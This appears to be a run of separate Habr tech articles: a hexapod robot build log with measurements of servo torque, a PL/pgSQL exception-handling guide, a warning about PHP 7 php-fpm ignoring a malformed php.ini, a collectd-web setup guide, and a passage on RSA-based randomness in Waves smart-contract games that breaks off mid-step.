и перемерить все входящие в вашу конструкцию покупные детали с точностью до 0.1 мм. Во-первых, размеры, данные в интернете, часто очень неточные. А во-вторых, для китайцев, похоже, такого понятия как нормальный чертеж, не существует в принципе – вот, например, что они дают на свои серво-приводы: 
Больше половины необходимых размеров отсутствует, оставшиеся не соответствуют истине. Вот с этим я накололся очень сильно. Нет, я перемерил все, что было необходимо. Но когда рисовал уже упомянутую выше детальку, измерив цилиндрические выступы на приводе (как видно из детали, их там два, один большой, из него торчит вал, второй поменьше, прилеплен к первому), я, не подумав, решил, что мелкий лежит на стороне большого. После того, как вырезали тестовую деталь, привод в нее не встал. При более подробном рассмотрении выяснилось, что малый цилиндр лежит не на стороне большого, а смещен на 0.3 (!) мм. Этих 0.3 мм хватило, чтобы привод не впихивался куда следует.
Разумеется, не везде размеры так критичны – нужно смотреть по конструкции, где погрешность не сильно повлияет. Но главное, не забывать об этом и все перемеривать.
После того, как я несколько раз поправил конструкцию, косяки, наконец-то, пропали, и я получил пакет своих деталек, из которых начал собирать Эктогнатуса.
#### Сборка
На этапе сборки особых граблей не было. Отмечу только две вещи.
1. Гайки откручиваются. Нещадно. К сожалению, гроверных шайб, предотвращающих самоотвинчивание, для винтов М2 не оказалось, а там где были М3, они стопорили подшипник, поэтому, пришлось от них отказаться. И потом, в процессе работы, я имел возможность лицезреть выпадающие на ходу гайки. Поэтому после того, как конструкция собрана и проверена, гайки можно постаринке посадить на эмаль или краску, что я и сделал. Самоотвинчивание прекратилось, все счастливы.
2. Покраска робота. Так как этот самый АЛЮКОБОНД был не шибко приятного цвета – синий с одной стороны, зеленый с другой, я решил его покрасить. Очень, очень хорошо для этого дела подошла черная матовая автоэмаль. Ложится хорошо, моментально сохнет. Правда, я красил кисточкой, а спреем, как мне потом сказали, результат получается лучше. Не проверял, но очень возможно.
Вот так выглядела только что выфрезерованная деталь.
Нога в сборе, проверка конструкции.
Модель и реальное туловище робота
Модель и реальный узел сервомаунта
Эктогнатус в сборе
#### Проверка
Итак, после того, как вся конструкция была собрана, пришло время проверять ее в действии.
Перед тем, как проектировать кастомную электронику, я хотел проверить, как она себя поведет в реальном мире, потребление тока и т.п. Для проверки решено было использовать плату Mini-STM32, о которой я уже рассказывал в соответствующей [статье](http://habrahabr.ru/post/139601/).
Так как запитать от аккумуляторов электронику и приводы без конвертера невозможно, аккумы пока были оставлены не у дел, в конструкции, но неподключенные.
Для проверки я избрал следующий путь: из макетки делается коммутационная плата, к которой подключаются все приводы – на 18 приводов разведено питание и земля, а их сигнальные входы сгруппированы по три штуки (одна нога). К этой плате проводками с гнездами ([вот такими](http://www.ebay.com/itm/F01968-30cm-40-WAY-Rainbow-Color-Flat-Jumper-Cable-For-home-appliance-klang-/120962536260)) присоединяется Mini-STM32.
Так как каналов было много (18 штук!) а частоты там порядка 50 герц, не было смысла гнаться за аппаратным ШИМом, только геморрой искать. Поэтому сигнальные входы от приводов я повесил на обычные свободные GPIO. К SPI контроллера был подключен радиомодуль с чипом от нордика, которыми я не перестаю восхищаться: <http://www.ebay.com/itm/1pcs-NRF24L01-2-4GHz-Antenna-Wireless-Transceiver-Module-For-Microcontr-/261072511055>
Так как в свое время я по работе написал для него драйвер под FreeRTOS, работающий на интерраптах и DMA а не простом поллинге, то на плату я этот FreeRTOS и вкатил.
По сути, это получился радиоуправляемый 18-канальный ШИМ-генератор. С точки зрения софта никаких особых хитростей там нет, если не считать драйвер для радиомодуля. ШИМ генерится при помощи одного таймера, по такому же методу, как вот в этой [статье](http://easyelectronics.ru/upravlenie-mnozhestvom-servomashinok.html) от [DIHALT](http://geektimes.ru/users/dihalt/)
Имеется массив из 18 структур
```
typedef struct
{
u32 __O *PinAddress;
u16 DutyCycle;
}PWMChannel;
```
Где *\*PinAddress* – битбанд адрес управления выбранной ногой. Массив сортируется по возрастанию *DutyCycle*, в регистр Capture-Compare заносится *DutyCycle* первого элемента и в интеррапте по совпадению таймера уровень соответствующего пина выставляется через *PinAdress*. После чего в СС-регистр заносится *DutyCycle* следующего. Когда таймер дотикивает до максимума, все пины выставляются в 1, массив пересортировывается (на случай, если пришли новые значения), и все повторяется заново. Чтобы пришедшие значения не сбили генерацию, они заносятся в новый массив Work, а в момент переполнения таймера, массивы Work и Sorted меняются местами – таким образом, получаем двойную буфферизацию.
Для общения с компом используется такая же плата, с таким же радиомодулем, подключенная по USB. В ней я реализовал HID-устройство, так что данные на нее шлются элементарно, без дополнительных драйверов, из любого удобного языка программирования. Моя управляющая прога, например, на C#. Управляется передатчик, понятное дело, тоже FreeRTOS, чтобы не приходилось переписывать драйвер модуля. Передача информации роботу идет в одном таске, обмен данными с USB – в других. Даже если по USB не пришло ничего нового, трансмиттер постоянно «пингует» робота, посылая ему пакет с соответствующим заголовком. Так как акноледж у радиомодулей аппаратный, можно сразу узнать есть связь с роботом, или нет, и выставить себе соответствующий байт в статусе. USB-таск в качестве репорта отсылает именно этот статус.
Если же пришли новые данные (значения углов для 18 приводов, в сыром виде, без изысков), то USB-таск складывает их в очередь на трансмит, а трансмиттер-таск в таком же сыром виде шлет их роботу, который, по получении, заносит их в уже упомянутый массив Work.
Таким образом, вся логика может быть реализована на компьютере – на робота будут передаваться только скважности приводов.
Разумеется, в дальнейшем это будет реализовано по-другому, но для проверки годится как нельзя лучше – не приходится по сотне раз перешивать железки.
Интерфейсом прога, написанная за пол дня, похвастаться, конечно не может, но свои функции, в принципе, выполняет. Пока никакой ИК, только форвард-кинематика для отрисовки модельки и банально записанные в лоб последовательности для движений.
После того, как все описанное выше было сделано, я записал несколько последовательностей Эктогнатусу, кои он и воспроизвел на этом видео:
Провода, подведенные к нему – питание от ЛБП, по уже описанной выше причине отсутствия конвертера.
Итак, пришло время сказать о самом главном. Всем граблям грабли, всем косякам косяк.
#### Хвалебная песнь китайским сервоприводам
Знаете, что показала проверка? Робот еле стоял. Он кое-как мог удерживать свой вес на шести ногах, но достаточно было поднять две, и он заваливался на эту сторону. Увиденное меня очень, очень сильно огорчило. Прямо опустились руки. Я сидел и думал «неужели мои прикидочные расчеты оказались настолько ошибочными, что что робот не может держаться?». Я снял него «этаж» с аккумуляторами – вместо 650-700 грамм Эктогнатус стал весить 500-550. После этого он нехотя изобразил готовность к работе – видео выше заснято именно в этих условиях. Но как же так? И тут я подумал – «может быть, что-то не так с приводами?» и решил измерить заявленный производителем момент. Вот тут и вскрылись грабли, которые так больно настучали мне по лбу.
Как и все грабли, они состояли из двух частей — той, на которую наступаешь, небольшой, металлической, и той, которая сильно бьет по лбу.
Металлической частью граблей оказался факт, что производители выпускают два типа приводов, MG90 и MG90S. Они несколько отличаются параметрами и конструкцией.
Вот MG90S, те что купил я:
Weight: 13.4g
Dimension: 22.8\*12.2\*28.5mm
Stall torque: 1.8kg/cm (4.8V) — 2.2kg/cm (6.0V)
Operating speed: 0.10sec/60degree(4.8v) — 0.08sec/60degree(6.0V)
Operating voltage: 4.8-6.0V
А вот MG90:
Обратите внимание, на выступ снизу привода (который я обозвал «жопой», ибо в данной ситуации он ей и был, не вставая в конструкцию). На чертеже ее отлично видно:
А вот его параметры:
Weight: 14g
Dimension: 23.1\*12.2\*29.0mm
Stall torque: 2.2kg/cm (4.8V) — 2.5kg/cm (6.0V)
Operating speed: 0.11sec/60degree(4.8v) — 0.10sec/60degree(6.0V)
Operating voltage: 4.8-6.0V
Заметили разницу? Чуть-чуть помедленнее и чуть-чуть посильнее. Ну хорошо, на эту часть граблей наступил я сам – надо было брать, конечно, MG90, которые посильнее. Впрочем, в конструкцию они не вставали только если пытаться установить оба в серво-маунт (по-правде сказать, не из-за «жопы» а из-за того, что по высоте они были нескольо побльше, чем по длине, а маунт был рассчитан на квадратные приводы). Но вместе с MG90S он вставал в маунт как влитой, безо всяких проблем. Это меня вполне устраивало, так как слабый MG90S оставался только в качестве поворотного сервы, на который почти не было нагрузки. А сервы, на которые приходился весь вес запросто заменялись на MG90.
А теперь обратимся к ручке граблей. Большой и тяжелой. Итак, как воспринимают нормальные люди параметр Stall Torque? Очевидно, вот так: «Если Stall Torque указан X\*Y, то когда мы подвесим на расстоянии X от оси сервы груз массой меньше Y, серва сможет этот груз поднять. Если масса будет около Y, то серва сможет его удерживать, но поднять уже не сможет».
Для дорогих и хороших приводов это действительно так – впрочем, проверять все равно не мешает. Но китайские товарищи воспринимают этот параметр по-другому. Он практически не связан с реальным моментом. Я не преувеличиваю, это значит, что для одного MG90S момент может быть в три раза меньше заявленного, для другого – в три с половиной. Для MG90 – в два. И т.п. То есть нету даже линейной зависимости, нельзя просто «делить на три», допустим.
Но давайте поподробнее. Я решил измерить момент своих приводов. Для этого можно воспользоваться нехитрым приспособлением – емкостью, в которую будем наливать воду, чем-нибудь, что послужит плечом и мерной кружкой. В качестве плеча я взял горизонтальную часть ноги робота, длиной 6 см. Таким образом, я ожидал, что серва сможет поднять емкость с 300 мл воды при питании пот 5В источника. Момент в этом случае был бы равен 0.3\*6 = 1.8 кг\*см. Емкостью послужил литровый пакет из-под сока, у которого я отрезал верх и через который пропустил крепкую проволоку вместо ручки. Если будете повторять это дома, позаботьтесь о том, чтобы и сам пакет и ручка держались крепко, иначе можно залить все оборудование. Плечо прикручивается к серво-приводу, пакет вешается на второй конец плеча, небольшая программка выдает минимальное значение угла поворота, которое сменяется максимальным при нажатии на кнопку. В этом случае, серва пытается поднять груз из крайнего нижнего в крайнее верхнее положение. По количеству воды мы определеяем вес груза, а значит и момент, действующий на серву. Момент, на котором серва уже не сможет поднять груз, но поднимет при небольшом уменьшении и будет Stall Torque.
Что я в итоге увидел: 300 мл (момент 1.8) – серва не шевелится. Что ж, момент завысили, это ожидаемо. Но по прикидкам у меня был большой запас, насколько же они его завысили? Продолжаем мерить.
250 мл (момент 1.5) – почти не шевелится.
150 мл (момент 0.9) – чуть-чуть поднимается, не доходит даже до середины
100 мл (момент 0.6) – почти доходит до середины
~90 мл (момент 0.54) – поднимает груз.
Честно говоря, не поверил своим глазам – я понимаю, что можно завысить показатели, но более чем в три раза… Может, это такая серва попалась? Но нет, я перемерил все 20 штук, что заказывал.
В итоге две трети вели себя как описано выше, треть была еще слабее (насколько – не стал выяснять). Кроме того наблюдался сильный разброс по ШИМу, то есть для одной сервы предельный поворот был при скважности, скажем 0х200 (значение регистра таймера), для другой – 0х1E5, и т.п.
Но не все так плохо. Я заказал 20 приводов MG90, тех, что с «жопой» и посильнее. Результаты измерений были более радужные – при заявленном моменте 2.2 они выдавали около 1.2.
То есть характеристики были завышены уже не в три, а всего в два раза. Ну и по-прежнему были те, что оказывались слабее остальных, но все таки это было не уже не так критично.
Напоминаю, по параметрам, заявленным на сайте, MG90 сильнее, чем MG90S всего в 1.2 раза, в реальности же MG90 превосходит по моменту MG90S более чем в два раза. Кроме того они оказались ощутимо тише и меньше подвержены осцилляциям в районе уставки – привет ПИД-регулятору MG90S.
Вывод из этого такой: никогда не верьте инфе, полученной от китайских производителей, если не хотите потом обнаружить, что параметры на сайте связаны с реальными только через фазу луны и завихрения астрала. Перед разработкой не пожалейте денег на 1-2 привода, посчитайте его реальный момент, потребление, скорость. Это обойдется дешевле, чем потом перезаказывать всю партию. Ну и если вы покупаете китайские приводы – берите с запасом обязательно. Дело не только в том, что треть оказалась еще слабее, а еще и в том, что один был вообще битый (жутко дрыгался, видимо с его регулятором что-то не то было), пара сгорела от натуги и еще у одного сорвало шестерню с вала мотора.
Впрочем, теми, что я приобрел во второй раз, MG90, я вполне доволен. В итоге робот совершенно спокойно поднялся вместе с аккумами, совершенно спокойно смог поднимать ноги, не боясь упасть, и даже смог подняться из «разложенного» положения (как на видео) одним движением, чисто за счет силы сервов, не подпираясь предварительно, кончиками ног.
#### Грядущие доработки
Вот на этом моменте я и приостановился. Ну, точнее, не совсем остановился, а замедлил темпы разработки, так как закончился мой отпуск и навалилось много работы. Сейчас я в процессе проектирования кастомной электроники для робота, о которой и скажу несколько слов в статье.
Прежде всего, необходимо спроектировать достаточно серьезный конвертер, который сможет отдавать 30Вт в приводы. Я нашел весьма занятную микросхему, которая, по уверениям International Rectifier способна обеспечить DC-DC преобразование из 11.1В в 6В х 10А без радиатора, при том, что внешних мосфетов ей не требуется – только силовой дроссель.
Вот она, родимая: <http://www.irf.com/product-info/datasheets/data/ir3475m.pdf>
10А приводы, конечно, тянуть не будут – максимум что я видел, когда все приводы застопорены, и робот усиленно пытается подняться – около 6А. Так что микрухи должно хватить. Но это в теории, на практике я ее никогда не юзал – если кто с ней работал, поделитесь впечатлениями.
Вычислителем я оставлю STMку, примерно такую же, как на отладочной, и, в далекой перспективе, запихну в нее инверсную кинематику.
Изначально, связь планировалось оставить на этих радиомодулях – они удобные, для них уже написаны мной дрова, есть версия полностью совместимая по пинам, но с аццким усилком, бьющая на пол километра. А на крышу роботу я планировал поставить камеру. Разумеется, чтобы не делать бесполезную работу по получению «сырого» сигнала с камеры, и посылке его по этому модулю (которому не хватит скорости слать нормальное видео), камеру я планировал брать со встроенным передатчиком, например, [такую](http://www.ebay.com/itm/Mini-Wireless-Spy-Nanny-Micro-Camera-Pinhole-System-/150829966102).
На другой стороне ставится довольно габаритный приемник, а так как выход с него аналоговый, то сюда же добавляется усб-девайс, позволяющий подключать аналоговые источники видеосигнала к компу. И, в принципе, я с этим уже смирился, но тут увидел **его**.
Роутер TL-MR3020. Чудо китайской технологии за 800 рублей. Внешне очень похожий на эппловский девайс.
Внутренне – полноценный комп с линуксом, на который давно портировали OpenWRT.
Плата внутри него размером всего 5.7х5.7 см. И у него есть USB-хост!
Потребление его, даже при самой суровой передаче, не превышает 180 мА, а среднее и вовсе около 100.
Как оказалось, этот роутер (и его полный аналог, просто предназначенный для внутреннего китайского рынка, TL-WR703N, про который и написано большинство статей, если будете искать, ищите по этому названию) уже давно используется электронщиками как одноплатный компьютер, который можно юзать в своих поделках. На нем легко и непринужденно поднимается нормальный видеостримминг, к нему можно легко подключить обычную веб-камеру.
Подобнее про TL-MR3020 и его брата-близнеца TL-WR703N можно почитать на [сайте OpenWRT](http://wiki.openwrt.org/toh/tp-link/tl-mr3020)
По работе я как раз сейчас ковыряю его, так что имел счастье поработать с ним вживую.
В общем теперь мой план таков – на моей плате размещается конвертер, обеспечивающий питанием все узлы схемы, СТМка, выступающая в роли контроллера всей механики (ног и поворотной сервы на крыше, поворачивающей камеру), и, возможно, пару датчиков – скажем, акселерометр, чтобы следить за своим наклоном. На эту плату сверху ставится плата от TL-MR3020, с OpenWRT на борту, обеспечивающая стриминг видео и связь робота с компьютером по Wi-Fi. Предварительно с нее, конечно, отпаиваются лишние разъемы — нечего занимать место. С моей платой она будет связана также по USB, плата с контроллером ног представится HID-устройством. Таким образом избавляемся от громоздкого аналогового приемника видео, конвертера, идущего с ним, отдельного модуля трансивера к компу, и получаем возможность рулить роботом с любого девайса с вайфаем, параллельно наблюдая через его камеру, например – с iPad.
На этом у меня пока все, как только появится время и я доразведу-таки платы и получу результаты – ждите следующую статью.
Спасибо за внимание! | https://habr.com/ru/post/149038/ | null | ru | null |
# TRY / CATCH в PostgreSQL
Во встроенном процедурном языке PL/pgSQL для СУБД PostgreSQL отсутствуют привычные операторы **TRY / CATCH** для для перехвата исключений возникающих в коде во время выполнения. Аналогом является оператор **EXCEPTION**, который используется в конструкции:
```
BEGIN
-- код, в котором может возникнуть исключение
EXCEPTION WHEN OTHERS -- аналог catch
THEN
-- код, обрабатывающий исключение
END
```
Если необходимо обработать только конкретную ошибку, то в условии **WHEN** нужно указать [идентификатор или код конкретной ошибки](https://www.postgresql.org/docs/current/errcodes-appendix.html):
```
BEGIN
-- код, в котором может возникнуть исключение
EXCEPTION WHEN '<идентификатор_или_код_ошибки>'
THEN
-- код, обрабатывающий исключение
END
```
Внутри секции **EXCEPTION** код ошибки можно получить из переменной **SQLSTATE**, а текст ошибки из переменной **SQLERRM**:
```
BEGIN
-- код, в котором может возникнуть исключение
EXCEPTION WHEN OTHERS
THEN
RAISE NOTICE 'ERROR CODE: %. MESSAGE TEXT: %', SQLSTATE, SQLERRM;
END
```
Более подробную информацию по исключению можно получить командой **GET STACKED DIAGNOSTICS:**
```
BEGIN
-- код, в котором может возникнуть исключение
EXCEPTION WHEN OTHERS
THEN
GET STACKED DIAGNOSTICS
err_code = RETURNED_SQLSTATE, -- код ошибки
msg_text = MESSAGE_TEXT, -- текст ошибки
exc_context = PG_CONTEXT, -- контекст исключения
msg_detail = PG_EXCEPTION_DETAIL, -- подробный текст ошибки
exc_hint = PG_EXCEPTION_HINT; -- текст подсказки к исключению
RAISE NOTICE 'ERROR CODE: % MESSAGE TEXT: % CONTEXT: % DETAIL: % HINT: %',
err_code, msg_text, exc_context, msg_detail, exc_hint;
END
```
Полный список переменных, которые можно получить командой **GET STACKED DIAGNOSTICS:**
| | | |
| --- | --- | --- |
| **Имя** | **Тип** | **Описание** |
| `RETURNED_SQLSTATE` | `text` | код исключения |
| `COLUMN_NAME` | `text` | имя столбца, относящегося к исключению |
| `CONSTRAINT_NAME` | `text` | имя ограничения целостности, относящегося к исключению |
| `PG_DATATYPE_NAME` | `text` | имя типа данных, относящегося к исключению |
| `MESSAGE_TEXT` | `text` | текст основного сообщения исключения |
| `TABLE_NAME` | `text` | имя таблицы, относящейся к исключению |
| `SCHEMA_NAME` | `text` | имя схемы, относящейся к исключению |
| `PG_EXCEPTION_DETAIL` | `text` | текст детального сообщения исключения (если есть) |
| `PG_EXCEPTION_HINT` | `text` | текст подсказки к исключению (если есть) |
| `PG_EXCEPTION_CONTEXT` | `text` | строки текста, описывающие стек вызовов в момент исключения |
Пример обработки исключения
---------------------------
В качестве примера будет рассмотрена обработка ошибки деления на ноль в функции **catch\_exception:**
```
CREATE OR REPLACE FUNCTION catch_exception
(
arg_1 int,
arg_2 int,
OUT res int
)
LANGUAGE plpgsql
AS $$
DECLARE
err_code text;
msg_text text;
exc_context text;
BEGIN
BEGIN
res := arg_1 / arg_2;
EXCEPTION
WHEN OTHERS
THEN
res := 0;
GET STACKED DIAGNOSTICS
err_code = RETURNED_SQLSTATE,
msg_text = MESSAGE_TEXT,
exc_context = PG_CONTEXT;
RAISE NOTICE 'ERROR CODE: % MESSAGE TEXT: % CONTEXT: %',
err_code, msg_text, exc_context;
END;
END;
$$;
```
Вызов функции **catch\_exception** со значением **0** в качестве второго параметра вызовет ошибку деления на ноль:
```
DO $$
DECLARE
res int;
BEGIN
SELECT e.res INTO res
FROM catch_exception(4, 0) AS e;
RAISE NOTICE 'Result: %', res;
END;
$$;
```
Результаты обработки ошибки будут выведены на консоль:
```
ERROR CODE: 22012
MESSAGE TEXT: деление на ноль
CONTEXT: функция PL/pgSQL catch_exception(integer,integer), строка 14, оператор
GET STACKED DIAGNOSTICS
SQL-оператор: "SELECT e.res FROM catch_exception(4, 0) AS e"
функция PL/pgSQL inline_code_block, строка 5, оператор SQL-оператор
Result: 0
``` | https://habr.com/ru/post/657667/ | null | ru | null |
# Изменение в PHP 7, ломающее при обновлении с пятой версии некоторые сервера на Ubuntu
Это явно не заслуживает отдельной статьи на Хабре, но ошибка может коснуться большого количества людей, поэтому я всё-таки решил написать.
<http://php.net/manual/en/configuration.file.php#configuration.file.changelog> :
> 7.0.0 Hash marks (#) are no longer recognized as comments.
Казалось бы, что такого? Админы на тестовом сервере обнаружат появившиеся ошибки в конфигах и быстро поправят. Но тут вступает в дело одна неприятная особенность php-fpm: он отказывается запускаться с некорректным файлом `php-fpm.conf`, но спокойно запустится с некорректным `php.ini`, проигнорировав все его настройки и используя значения по умолчанию. Ошибка не будет видна в консоли, так как её проглотит скрипт запуска службы, и не будет записана в лог php-fpm.
Если `php.ini` был скопирован из пятой версии, а более строгий парсер седьмой читает его с ошибками — php-fpm будет молча работать со значениями по-умолчанию. Например, если там использовались `#` для комментариев и такой комментарий содержит открывающую скобку. Без открывающей скобки он такие комментарии по-прежнему воспринимает нормально, несмотря на объявление в changelog.
Максимальный объём загружаемого файла `post_max_size=8m`, включен `expose_php`, передающий в заголовке `X-Powered-By` используемую версию PHP, станет пустой `disable_functions`, используемая для отключения потенциально небезопасных функций, `display_errors` станет 1 и посетители увидят полный стектрейс на страницах с ошибками, и ещё много всего весёлого.
Мейнтейнеры PHP в Ubuntu пытаются обходить эту особенность с помощью костыля:
```
/etc/systemd/system/multi-user.target.wants/php7.0-fpm.service:
...
ExecStartPre=/usr/lib/php/php7.0-fpm-checkconf
...
/usr/lib/php/php7.0-fpm-checkconf:
...
errors=$(/usr/sbin/php-fpm7.0 --fpm-config "$CONFFILE" -t 2>&1 | grep "\[ERROR\]" || true);
...
```
Но костыль не работает:
```
root@xenial:~# /usr/sbin/php-fpm7.0 --fpm-config /etc/php/7.0/fpm/php-fpm.conf --test
PHP: syntax error, unexpected '(' in /etc/php/7.0/fpm/php.ini on line 6
[14-Sep-2016 14:24:46] NOTICE: configuration file /etc/php/7.0/fpm/php-fpm.conf test is successful
root@xenial:~# /usr/lib/php/php7.0-fpm-checkconf; echo $?
0
```
Пакет php7.0-fpm из популярного [ppa:ondrej/php](https://launchpad.net/~ondrej/+archive/ubuntu/php), откуда обычно ставят PHP 7 на сервера с ubuntu trusty или precise, вообще не содержит такой проверки.
Итого: если вы обновляетесь c PHP 5 на PHP 7, убедитесь, что он не проигнорировал настройки в php.ini и не завёлся со значениями по-умолчанию.
**P.S.**
» [Тикет для ppa:ondrej/php](https://github.com/oerdnj/deb.sury.org/issues/456)
» [Тикет для php7.0-fpm в ubuntu xenial](https://bugs.launchpad.net/ubuntu/+source/php7.0/+bug/1623540)
**UPD:** По просьбе в комментариях запостил баг разработчикам PHP: [73099](https://bugs.php.net/bug.php?id=73099) | https://habr.com/ru/post/310136/ | null | ru | null |
# collectd + front-end
Как показывает практика — б**o**льшая часть клиентов никак не мониторит используемые ресурсы, арендуемых ими услуг (особенно это заметно на дешевых услугах VPS от 3$).То есть, после установки системы и настройки необходимого для проекта софта, дальнейшая судьба сервера отдается на откуп случаю. И, когда появляются проблемы с работоспособностью сервера, информации для анализа не слишком много.
*Кроме установленного и настроенного логирования в [atop](https://ru.wikipedia.org/wiki/Atop) (который так же встречается не часто), логов системы, хотелось бы иметь больше информации с которой можно работать.*
В данной статье будет описана процедура установки и настройки [collectd](https://collectd.org/) и [collectd-web](https://github.com/httpdss/collectd-web) на примере ОС семейства Debian.
#### Немного общей информации.
**Collectd** — легковесный демон, который собирает статистику по использованию ресурсов (и не только), и складывает информацию в формате [rrd](http://oss.oetiker.ch/rrdtool/). По сути, сам collectd только собирает статистику, для просмотра и анализа собранной информации нужно устанавливать web интерфейс. Полный список front-end'ов для collectd можно посмотреть [тут](https://collectd.org/wiki/index.php/List_of_front-ends).
Большим плюсом является то что для collectd существует большое множество плагинов, под [различные](https://collectd.org/wiki/index.php/Table_of_Plugins) задачи.
Стоит учесть что collectd умеет настройку «мастер сервер и ноды» — данные с наблюдаемых серверов отсылаются на мастер, который их хранит и отрисовывает графики.
*Стоит учесть что разные web-интерфейсы реализованы на разных фреймворках. В зависимости от Ваших пристрастий и софта, установленного для проекта, можно выбрать наиболее оптимальный для себя вариант.*
#### Сам процесс установки
Обновим список пакетов, доступных в репозиториях.
```
# apt-get update
```
Устанавливаем сам collectd.
```
# apt-get install collectd
```
Запускаем collectd после установки.
```
# service collectd start
```
Collectd установлен и запущен, теперь переходим к установке веб интерфейса.
Для начала стоит установить [git](https://ru.wikipedia.org/wiki/Git).
```
# apt-get install git
```
Устанавливаем необходимые модули.
```
# apt-get install librrds-perl libjson-perl libhtml-parser-perl
```
Ставим веб сервер.
```
# apt-get install apache2
```
После установки apache переходим в дефолтную директорию его виртуалхоста.
```
# cd /var/www/html
```
Приступаем к установке самого web-интерфейс.
```
# git clone https://github.com/httpdss/collectd-web.git
# chmod +x /var/www/html/collectd-web/cgi-bin/graphdefs.cgi
```
Для запуска cgi скриптов collect-web, расположенных по дефолтному пути (в данном случае — **/var/www/html/**collectd-web/), нужно явно указать в конфиге. Редактируем дефолтный конфиг виртуалхоста.
```
# nano /etc/apache2/sites-available/000-default.conf
```
*Добавляем данный блок после строки с директивой DocumentRoot.*
```
Options Indexes ExecCGI
AllowOverride All
AddHandler cgi-script .cgi
Require all granted
```
Включаем apache CGI модуль.
```
# a2enmod cgi cgid
```
Перегружаем веб сервер для вступления изменений в силу.
```
# service apache2 restart
```
Теперь collectd доступен извне по web.
http://**xxx.xxx.xxx.xxx**/collectd-web/
Выставлять его в таком виде в мир — плохая идея, нужно ограничить доступ к нему.
Можно воспользоваться штатными утилитами apache — **htpasswd**.
Для начала устанавливаем их, если они не подтянулись при установке веб сервера.
```
# apt-get install apache2-utils
```
Генерируем файл с паролями.
```
# htpasswd -c /var/www/html/collectd-web/.htpasswd username
New password:
Re-type new password:
Adding password for user username
```
Теперь надо научить апач пускать в коллектд по паролю. Для этого редактируем нужный виртуалхост.
```
# nano /etc/apache2/sites-enabled/000-default.conf
```
Добавляем еще блок.
```
AuthType Basic
AuthName "Collectd Restricted Page"
AuthBasicProvider file
AuthUserFile /var/www/html/collectd-web/.htpasswd
Require valid-user
```
Выходим ctrl + x, на вопрос сохранить ли изменения отвечаем yes + enter.
Дергаем apache для того, чтобы изменения вступили в силу.
```
# service apache2 restart
```
Проверяем, что нигде не ошиблись, и наш collectd теперь не пускает кого попало.
Готово, теперь в случае проблем с сервером или избытка свободного времени и отсутствия планов, Вы можете открыть collectd-web, проанализировать используемые ресурсы сервера, возможные узкие места и оценить тенденцию роста.
Ну или просто можно будет полюбоваться красивыми графиками. | https://habr.com/ru/post/272447/ | null | ru | null |
# Blockchain RSA-based random
There’s a problem we needed to address in the course of developing our games. It’s complicated to generate a random number in a distributed network. Almost all blockchains have already faced this issue. Indeed, in networks where there is no trust between anyone, the creation of a random number solves a wide range of problems.
In this article, we explain how we solved this problem for our games. The first of these was [Waves Xmas Tree](https://2019.wavesplatform.com/).
Initially, we planned to generate a number using information from the blockchain. However, on further investigation, it became clear that the process used to create a number this way could be manipulated. We had to discard this solution.
We came up with a workaround, using a ‘commit-reveal’ scheme. The server proposed a number from 1 to 5, added ‘salt’ to it and hashed the result using the [Keccak function](https://en.wikipedia.org/wiki/SHA-3). The server pre-debugged a smart contract with an already saved number. The result was that the game was effectively reduced to the user guessing the number hidden by the hash.
The player placed their bet and the server sent a hidden number and ‘salt’ to a smart contract. To put it another way, the cards were revealed. Afterwards, the server verified the numbers and decided whether the user had won or lost.
If the server didn’t send the number and ‘salt’ for verification, then the user won. In this case, it was necessary to deploy a smart contract in advance and arrange potential winnings for each game. This was inconvenient, expensive and time-consuming. At that time, though, there was no other secure solution.
Shortly afterwards, the Tradisys team proposed adding the **rsaVerify()** function to the Waves protocol. This checks the validity of an RSA signature based on public and private keys. As a result of our proposal, the function was added.
We built three new games: [Dice Roller](https://www.dappocean.io/dapp/DICES), [Coin Flip](https://www.dappocean.io/dapp/COINFLIP) and [Ride On Waves](https://www.dappocean.io/dapp/WRIDER). In each of them, the new random number technology was implemented. Let’s take a closer look at how it works.
Let’s look at the random number generation first. You can find the smart contract [here](https://wavesexplorer.com/testnet/address/3MrfW5HU9H1r5yAGY5Gzcr1A7ACNPLKsDcC).
Go to the **Script tab** and choose **Decompiled**. You will see the smart contract’s code (or script).
The smart contract code consists of a list of functions. The ones that are @Callable can be run via **Invocation transactions**. We are interested in two of them: **bet** and **withdraw**:
* func bet (playerChoice)
* func withdraw (gameId, rsaSign)
1. The user chooses the range and bet size.
2. The client arranges the bet function. For the image above it would be **bet («50»)**
3. The client sends an Invocation transaction to the smart contract address (broadcast InvocationTx). A transaction as a Call parameter contains the bet function. This means that the Invocation transaction starts the execution of the bet function on the smart contract (choice: String).
4. Let’s look at the bet function:
```
@Callable(i)
func bet (playerChoice) = {
let newGameNum = IncrementGameNum()
let gameId = toBase58String(i.transactionId)
let pmt = extract(i.payment)
let betNotInWaves = isDefined(pmt.assetId)
let feeNotInWaves = isDefined(pmt.assetId)
let winAmt = ValidateBetAndDefineWinAmt(pmt.amount, playerChoice)
let txIdUsed = isDefined(getString(this, gameId))
if (betNotInWaves)
then throw ("Bet amount must be in Waves")
else if (feeNotInWaves)
then throw ("Transaction's fee must be in Waves")
else if (txIdUsed)
then throw ("Passed txId had been used before. Game aborted.")
else {
let playerPubKey58 = toBase58String(i.callerPublicKey)
let gameDataStr = FormatGameDataStr(STATESUBMITTED, playerChoice, playerPubKey58, height, winAmt, "")
ScriptResult(WriteSet(cons(DataEntry(RESERVATIONKEY, ValidateAndIncreaseReservedAmt(winAmt)), cons(DataEntry(GAMESCOUNTERKEY, newGameNum), cons(DataEntry(gameId, gameDataStr), nil)))), TransferSet(cons(ScriptTransfer(SERVER, COMMISSION, unit), nil)))
}
}
```
The function records a new game in the smart contract state:
* Unique new game id (game id)
* Game state = SUBMITTED
* Player choice (the range is 50)
* Public key
* Potential reward (depends on the player’s bet)
This is how the key-value database looks on the blockchain:
```
{
"type": "string",
"value": "03WON_0283_448t8Jn9P3717UnXFEVD5VWjfeGE5gBNeWg58H2aJeQEgJ_06574069_09116020000_0229",
"key": "2GKTX6NLTgUrE4iy9HtpSSHpZ3G8W4cMfdjyvvnc21dx"
}
```
‘Key’ is the **game id** for a new game. The remaining data is contained in the field ‘value’. These entries are stored in the **Data** tab of the smart contract:
5. The server finds the sent transaction (the new game) via blockchain API. Game id is already recorded in the blockchain, so it’s impossible to change or delete it.
6. The server forms a withdraw function (gameId, rsaSign) such as:
